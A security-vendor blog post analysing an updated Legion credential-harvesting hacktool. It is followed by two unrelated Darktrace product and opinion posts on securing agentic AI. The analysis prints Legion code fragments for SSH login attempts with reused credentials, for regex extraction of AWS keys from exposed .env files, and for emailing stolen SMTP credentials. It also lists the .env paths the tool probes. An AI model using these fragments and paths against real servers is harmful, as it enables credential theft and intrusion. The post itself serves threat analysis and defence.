Blog
/
Cloud
/
May 24, 2023

Updates to Legion: A Cloud Credential Harvester and SMTP Hijacker

Cado Labs (now part of Darktrace) discovered an updated version of the Legion hacktool. This new iteration has enhanced capabilities, including SSH abuse and exploiting additional AWS services like DynamoDB, CloudWatch, and AWS Owl, by harvesting credentials from misconfigured web servers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog image
24
May 2023

Introduction: A cloud credential harvester and SMTP Hijacker

Cado Security Labs (now part of Darktrace) discovered and reported [1] on an emerging cloud-focused hacktool, designed to harvest credentials from misconfigured web servers and leverage these credentials for email abuse. The tool was named ‘Legion’ by its developers and was distributed and marketed in various public groups and channels within the Telegram messaging service.  

In early 2023, Cado researchers encountered what is believed to be an updated version of this commodity malware, with some additional functionality of interest to cloud security professionals.

SSH abuse

In the sample [2] of Legion previously analyzed by Cado, the developers included code within a class named ‘legion’ to parse a list of exfiltrated database credentials and extract username and password pairs. The function then attempted to use these credentials in combination with a matching host value to log in to the host via SSH - assuming that these credentials were being reused across services.  

To achieve this within Python, the Paramiko library (a Python implementation of the SSHv2 protocol) was used. However, in the original sample of Legion, the import of Paramiko was commented out, making the code leveraging it redundant. In Legion’s most recent update, it appears that this functionality has been enabled.

if db_user and db_pass: 
	connected = 0 
	ssh = paramiko.SSHClient() 
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
	try: 
		ssh.connect(host, 22, db_user, db_pass, timeout=3) 
		fp = open('Results/!Vps.txt', 'a+') 
		build = str(host)+'|'+str(db_user)+'|'+str(db_pass)+'\n' 
		remover = str(build).replace('\r', '') 
		fp.write(remover + '\n\n') 
		fp.close() 
		connected += 1 
	except: 
		pass 
	finally: 
		if ssh: 
			ssh.close() 

Python snippet of Legion’s SSH connection code

Exploiting additional cloud services

Legion’s credential gathering capabilities were discussed at length in Cado’s previous blog on the topic. Essentially, the malware hunts for environment variable files in misconfigured web servers running PHP frameworks such as Laravel. Legion attempts to access these .env files by enumerating the target server with a list of hardcoded paths in which these environment variable files typically reside. If these paths are publicly accessible, due to misconfigurations, the files are saved and a series of regular expressions are run over their contents.  

From the searches performed on the environment variable files, it’s easy to determine the services the malware attempts to retrieve credentials for. In the updated version of Legion, the malware can be seen searching for credentials specific to the following services/technologies:

  • DynamoDB
  • Amazon CloudWatch
  • AWS Owl

For CloudWatch specifically, the malware searches for the environment variable CLOUDWATCH_LOG_KEY. This variable name appears in the documentation for public Laravel projects, including a project [3] for handling CloudWatch logging in Laravel. This fits with Legion’s capabilities, as the tool’s credential harvesting feature targets Laravel apps.

elif "CLOUDWATCH_LOG_KEY" in str(text): 
	if "CLOUDWATCH_LOG_KEY=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nCLOUDWATCH_LOG_KEY=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nCLOUDWATCH_LOG_SECRET=(.*?)\n", text)[0] 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of CLOUDWATCH_LOG_KEY

elif "AWSOWL_ACCESS_KEY_ID" in str(text): 
	if "AWSOWL_ACCESS_KEY_ID=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nAWSOWL_ACCESS_KEY_ID=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nAWSOWL_SECRET_ACCESS_KEY=(.*?)\n", tex 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of AWSOWL_ACCESS_KEY_ID and AWS_OWL_SECRET_ACCESS_KEY

Miscellaneous updates

Aside from general refactoring, the Legion developers have made some additional updates to the hacktool.

One such update is a change to the subject line of test emails sent by the malware, which now include a reference to “King Forza”. The Forza name was also used in a YouTube channel linked by Cado researchers to the operators of the Legion malware.

smtp_server = str(mailhost) 
login = str(mailuser.replace('"', ''))  # paste your login generated by Mailtrap 
password = str(mailpass.replace('"', '')) # paste your password generated by Mailtrap 
receiver_email = emailnow 
message = MIMEMultipart('alternative') 
message['Subject'] = f'King Forza SMTP | {mailhost} ' 
message['From'] = sender_email 
message['To'] = receiver_email 
text = '        ' 
html = f" <h3>King Forza smtps! - SMTP Data for you!</h3><br>{mailhost} <br><br><h5>Mailer King with from</h5><br>==================<br><i>{mailhost}:{mailport}:{mailuser}:{mailpass}:{mailfrom}:ssl::::0:</i><br>==================<br><br><h5>Mailer king Normal</h5><br>==================<br>{mailhost}:{mailport}:{mailuser}:{mailpass}::ssl::::0:<br>==================<br><br>        " 
part1 = MIMEText(text, 'plain') 
part2 = MIMEText(html, 'html') 
message.attach(part1) 
message.attach(part2) 

Snippet showing updated subject line, including Forza name

Another update included adding additional paths to enumerate for the existence of .env files. The new paths can be seen below:

/lib/.env

/lab/.env

/cronlab/.env

/cron/.env

/core/app/.env

/core/Datavase/.env (sic)

/database/.env

/config/.env

/apps/.env

/uploads/.env

/sitemaps/.env

/saas/.env

/api/.env

/psnlink/.env

/exapi/.env

/site/.env

/web/.env

/en/.env

/tools/.env

/v1/.env

/v2/.env

/administrator/.env

Conclusion

Legion is an actively developed hacktool, specifically designed to exploit vulnerable web applications in an attempt to harvest credentials. Legion focuses primarily on retrieving credentials for SMTP and SMS abuse. However, this recent update demonstrates a widening of scope, with new capabilities such as the ability to compromise SSH servers and retrieve additional AWS-specific credentials from Laravel web applications. It’s clear that the developer’s targeting of cloud services is advancing with each iteration.

Detection and prevention advice remains consistent with Cado’s previous blog on this malware family. Misconfigurations in web applications are still the primary method used by Legion to retrieve credentials. Therefore, it’s recommended that developers and administrators of web applications regularly review access to resources within the applications themselves, and seek alternatives to storing secrets in environment files.  

Indicators of compromise (IoCs)

Filename - SHA256

og.py - 6f059c2abf8517af136503ed921015c0cd8859398ece7d0174ea5bf1e06c9ada

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

References

  1. www.darktrace.com/blog/legion-an-aws-credential-harvester-and-smtp-hijacker  
  1. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a/detection
  1. https://github.com/pagevamp/laravel-cloudwatch-logs/tree/master

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

AI

/

September 22, 2026

Darktrace / SECURE AI: Extending Behavioral Security for the Age of Agentic AI

Default blog imageDefault blog image

AI is moving faster than the controls built to secure it

Over 80% of Darktrace’s customers now use generative AI services, and the average organization interacted with five different AI provides in August 20261. That level of adoption reflects how quickly AI has become embedded in day-to-day business operations. But as adoption accelerates, so do the opportunities for new forms of exposure that often operate outside traditional security controls. Prompts can expose sensitive information, an over-permissioned agent can turn a routine task into a serious security concern, and an employee using an unsanctioned AI tool to get work done can quietly introduce risk long before the security team is aware of its existence.

Securing AI isn’t a nice-to-have. It's an urgent, board-level requirement for any business that wants AI adoption to be an advantage rather than a liability.

Why traditional security controls fall short

The challenge isn’t a lack of AI security tools, it’s that most security solutions weren’t built for the way AI behaves.  

AI systems are adaptive and, by nature, unpredictable. A prompt can be entirely benign in one context and a serious risk in another. An agent's permissions can look reasonable in isolation and dangerous the moment they're combined with what that agent is actually doing. Rule-based controls, built to catch known signatures and static policy violations, simply aren't designed to catch this kind of subtlety. They might be able to tell you what happened, but they can’t tell you if it mattered.  

Effective AI security requires something different: a deep understanding of what normal looks like across every human, system, and agent in an environment, so the earliest signs of drift, misuse, or compromise stand out as they emerge.

Behavioral understanding is our foundation

Darktrace isn’t reinventing itself to secure AI. We’re extending what we already do. For over a decade, Darktrace has been built on a single premise – that every organization has its own unique, evolving way of operating, shaped by how its systems, users, and devices behave. Understanding that is the only reliable way to catch what rules and signatures miss. Our Adaptive AI™ continuously learns the distinct behaviors, relationships, and operational patterns of every enterprise it protects, building a Unique Behavioral Profile that no other vendor can replicate. It's how we've spent years interpreting ambiguity, uncovering subtle intent, and spotting drift before it becomes dangerous across networks, cloud, identities, email, OT, and endpoints. AI is a new domain, but behavioral security isn't a new discipline for us.

Introducing Darktrace / SECURE AI

Darktrace / SECURE AI helps organizations embrace AI innovation without losing control of how it is used. Delivered through the Darktrace Behavioral Defense Platform™, it provides visibility into AI activity across employees, agents, and AI systems, helping security teams understand how AI is being used throughout their business.

Darktrace then applies behavioral understanding to that activity, adding the context needed to distinguish routine usage from genuine risk. By understanding the relationships between users, agents, systems, and data, / SECURE AI helps organizations move beyond simply observing AI usage to understanding risk, governing behavior against policy, and enabling AI adoption with confidence. The result is greater oversight, stronger governance, and the ability to confidently accelerate AI innovation without creating unmanaged risk.

Securing your AI ecosystem

AI risk doesn't originate from a single source, and effective AI security can't focus on just one layer of the problem. Organizations need visibility, understanding, and governance across the entire AI ecosystem, from the prompts users submit and the agents they create, to the development environments where AI is built and the unsanctioned tools operating outside approved channels. Here's how Darktrace / SECURE AI helps organizations secure each of these areas.

Shadow AI management

Darktrace / SECURE AI helps security teams discover unsanctioned AI services and track usage trends over time using Darktrace telemetry and supported SASE integrations such as Microsoft Entra Global Secure Access. It also extends visibility to Model Context Protocol (MCP) usage, helping teams understand where AI tools and agents are connecting to external services. Through Darktrace platform integrations, organizations can block unsanctioned AI usage or quarantine affected devices when needed, helping them reduce exposure and guide users toward approved options.

AI prompt analysis

Prompts reveal what users are asking AI to do, what information they are sharing, and the outcomes they are trying to produce. Darktrace / SECURE AI provides visibility into prompts, sessions, and responses across supported platforms, including Microsoft Copilot, Copilot Studio, ChatGPT Enterprise, Claude, Salesforce, and AWS Bedrock2. Behavioral analysis detects activity such as attempted jailbreaks, sensitive data exposure, and potential indirect prompt injection, while risk scoring helps analysts prioritize the sessions that need attention. Policy Manager maps organizational AI policies against prompt activity and surfaces potential violations, helping teams govern AI use with direct evidence instead of relying on fragmented logs or inferred intent.

AI agent identities and actions

AI agents have their own permissions, roles, relationships, and access to systems and data. Darktrace / SECURE AI brings agent identities together with the users interacting with them, giving security teams visibility into access, sessions, and connections across supported environments. A real-time audit trail helps teams continuously evaluate whether an agent’s activity remains aligned with its intended purpose, so they can identify excessive access or behavioral drift before it becomes a security issue.

AI agent development risk management

Many AI risks are introduced during development, when agents are created, permissions are assigned, and connections to data sources are established. Darktrace / SECURE AI provides visibility across both low-code and high-code environments. In platforms such as AWS Bedrock, teams can examine AI architecture and the agent identities involved in development and deployment. In low-code environments, such as Copilot Studio, they can observe agents as they are created, monitor whether behavior stays aligned with their intended purpose, and connect prompt activity during development with behavior in production. This helps organizations address misconfigurations and excessive permissions before they reach production.

The promise of AI, secured

The question isn't whether to adopt AI, it's whether security teams can enable secure adoption that allows every business to benefit from AI’s potential.

Darktrace / SECURE AI is built to solve this problem – extending a decade of behavioral understanding to the newest, fastest-moving part of the enterprise, using the same principles which already protect people and hybrid infrastructure.

Darktrace / SECURE AI is generally available now. Discover the product, or get a demo today.

[related-resource]

[1] Based on aggregated Darktrace product telemetry across a fleet of ~8,200 observed deployments, measuring generative AI service usage across accounts monitored in August 2026. The 80%+ figure reflects the share of monitored accounts with any generative AI service usage during the same period.

[2] Microsoft, Copilot, ChatGPT, Claude, Salesforce, and Amazon Bedrock are trademarks of their respective owners.

Continue reading
About the author
Brittany Woodsmall
Senior Product Marketing Manager, AI

Blog

/

AI

/

September 17, 2026

The Problem of Re-defining Human Value in the Agentic Age

Default blog imageDefault blog image

Newsfeeds are constantly informing us about the rapid escalation of agentic AI systems. These systems move far beyond simple machine-based computations, and  the focused, defined and bounded assistance that most AI systems started out as.

The next evolution of AI will harness the agentic properties of orchestration, automation, and heightened value-chains in IT, taking on the burden of workflow management, not just workflow delivery.

In nearly all of these instances, promises are made such as ‘this will free up human time’ or ‘this will allow people to focus on higher-order strategy’. However that message is delivered, one thing is clear: in ceding the orchestration and management of work to increasingly sophisticated AI agents and agentic systems, human value will be elevated to a particular and specific layer: the ability to judge its outputs.  As AI takes on more tasks, humans should be able to focus on a higher level of governance; making sure the decisions that AI offers us are ethical, responsible and worthwhile.  

But there are two major problems with that approach.

This blog discusses the problem of how Agentic systems are re-shaping how we review information, where we fit in, and when we make decisions.  It also discusses the problem of how the increased flow of confident, generated information affects the way we make judgement.  This blog considers how human judgement needs to adapt, and how a behavioral defense approach – using techniques pioneered by Darktrace – can help us do that.

The challenge of knowing where human judgement belongs

As we confer more automated decision-making to agentic systems, it might look increasingly less like ‘granting permissions’, and more like ‘surrendering authority’.  

The judgement layer for AI-generated work is not a fixed boundary. We have become used to the idea of a ‘human in the loop’ (HITL) and, historically, relationships between humans and IT systems were reasonably clear and bounded.  Computer and software systems were programmed to carry out certain tasks or automated functions, and humans could control the gates and decision points where actions were undertaken. Even across highly complex computational workflows, human interaction was a controllable node within the process; we were able to configure and regulate. But in the agentic age, where that human interaction sits, and what it can influence shifts every time AI systems are granted autonomy.  

This leads us to the first problem: if humans are moving themselves (or are being moved) into the ‘judgement’ part of the value chain, exactly where and when do we exercise that judgement?  

Humans are no longer the sole shepherds of computer-based or software-controlled outputs.  We are at times at least one step further (and slower) behind the new agentic shepherds.  We might also be blind to what they are doing.  Not only might we be removed and blind to the actions of our AI shepherds, but with the challenge of unknown, unapproved AI systems operating beyond our control, humans might not even know that our work is being shepherded by an AI at all.  Simply put, with the advent of greater levels of autonomy and orchestration, humans are at risk of not even knowing where to apply our newly-extended powers of strategic judgement.

Shadow AI – the use of unapproved AI systems or processes – is a growing threat to the role of effective governance and oversight. Shadow AI isn't just the AI you can't see. Its the AI you already know about being used in an unapproved way. The ability to generate effective oversight of the AI systems you use (or that are used on your behalf) will be increasingly important to ensure that human judgement in the AI value chain is effective, and deliberately placed.

The problem of what makes good judgement

The second problem lies in how flawed human judgement can be.  Humans are historically, notoriously, and, sometimes dangerously, unreliable when it comes to exercising judgement.  Humans are prone to the worst kinds of bias, the seduction of malign influence, and the sometimes-overwhelming urge to succeed. AI has long had a known flaw of operating with sycophancy, providing outputs that tend to agree with or flatter the human user.  But as AI grows ever more effective, there is a risk of both hyper-enablement (where humans increasingly and knowingly enable AI despite potential harm), as well as the greater risk of suggestion. Both of these aspects could skew the newly-elevated input of human judgement.

Imagine a highly competent AI system that has just orchestrated and managed a dizzying array of processes and workflows.  The AI is designed to present the human decision-maker with recommendations; based on analysis, comparison and other programmed factors.  This is where the human judgement layer is enabled.  But what if that judgement is summarily diffused by an AI-based recommendation that emulates the decision, provides plausible but unattractive alternatives, then suggests (or, worse, directs) the human end-user to take a particular course of action.

The risk here is that you are given a recommendation, tailored to your preferences (which the AI has learned, or which you have divulged), and which appears to make perfect sense.  It appears to be a well-weighted recommendation, with sound arguments that tap into our inherent biases or inclinations so that a specific decision-path is followed. With the growth of agentic systems specifically designed to match user profiles (from Cowork agents to ‘digital twin’ models), the likelihood of agentic influence could badly skew human judgement or, at the least, devalue the proposition that humans are taking a higher-layer of strategic control over AI-based decisions.

If AI convincingly recommends something that may be problematic, it can be difficult to discern both accurate data, and the context required to make the right judgement.

Given the two problems described above, the job of exercising valuable human judgement in the agentic age can draw down to these two questions:

  • When should humans intervene in the agentic process?  
  • How can we make the best possible judgement calls?

What humans contribute that AI cannot

For all the flaws that make human judgement unreliable, people have the edge over even the most sophisticated and powerful AI systems when it comes to issues such as ethics and social context.  An AI system can, with startling granularity, rank the value of adopting a new business proposal: offering predictive metrics on costs, returns, market value, time-to-deliver operations, conformance with legal registers, etc.  But it can’t tell if the business proposal is ethically sound, or if the business venture will potentially affect groups outside of the analyzed proposal. It can’t tell you if the CEO has a ‘bad feeling’ about this effort.  It can’t tell you if this is the right thing to do.  

The ability to add social context, balance complex interpersonal dynamics, understand nuance, and to go beyond what seems economically reasonable is where human judgement can add value.  

Human judgement is difficult to encapsulate in metrics. And the way we train our development may need to adapt too. Rather than building up a gradual, experiential knowledge base, we should think about training the skill of judgement itself; especially for an agentic age.

How behavioral security strengthens AI governance

If this all feels like a vicious circle (‘I need AI help to make good judgements’ / ‘AI can twist what I need to judge’) it needn’t be. The key to this is having a defense-in-depth approach, with tools that can actually help.

This is precisely where behavioral security becomes important. The complex and nuanced way that humans exercise judgement is often rooted in our ability to recognize behavior that doesn't look right. We may not always be able to articulate it immediately, but we can often identify when an action, recommendation, or outcome feels inconsistent with the context around it. As AI systems take on more responsibility across the decision chain, preserving that ability to recognize meaningful deviations becomes increasingly important.

Darktrace’s / SECURE AI is designed to do exactly that. It applies behavioral security to AI ecosystems, helping organizations understand how people, AI tools, identities, and agents interact across the business. By learning the patterns of normal AI usage and surfacing activity that deviates from those patterns, it provides security teams with the context needed to investigate risk, understand unusual behavior, and make informed governance decisions. Rather than relying solely on predefined rules or assumptions, this behavioral understanding helps organizations distinguish between expected AI activity and behavior that warrants closer scrutiny.

This matters because we are already in an era of information overload. If humans are expected to elevate their value through strategic judgement, the ability to do this without being overwhelmed by data (good or bad) will be critical.  

We need the ability to discern when we're being misled by AI, and whether our judgement calls are being made on the basis of accurate, contextual information. Darktrace / SECURE AI provides that additional layer of defensive security for activity we cannot easily see. Whether it is suspected Shadow AI or skewed recommendations, the net result is a protected organization, where users can more effectively use AI to make positive judgements.

For those where that judgement is a critical skill (both individuals, as well as those working in security teams), improving our metacognition - the ability to understand information in a broader context - will supercharge the value of human judgement. When those judgements are grounded in context rather than assumptions we have better information to make sound decisions.

Conclusion

Human judgement is a skill that is honed over time and experience.  Darktrace’s / SECURE AI employs the same principles, but at machine-speed. Rather than influencing or directing, Darktrace / SECURE AI offers AI-enabled assurance; providing human-based judgement with the right context to make a balanced decision.  

What we judge can be valued by the legitimacy of its outputs. For AI, those outputs are valued on the speed and accuracy of the information provided.  Increasingly for humans, the value of our outputs will be based on the validity of our judgement, and how we justify our decisions in ways that engineer confidence.  

Humans often know more than we can express, while AI is prone to expressing more than it truly understands. Humans can bridge the context AI often fails to appreciate. When that judgement is supported by relevant, impartial AI systems, this is the future space where good AI governance will be exercised.

Discover Darktrace / SECURE AI.

[related-resource]

Continue reading
About the author
Jason Lusted
AI Governance Advisor
Your data. Our AI.
Elevate your network security with Darktrace AI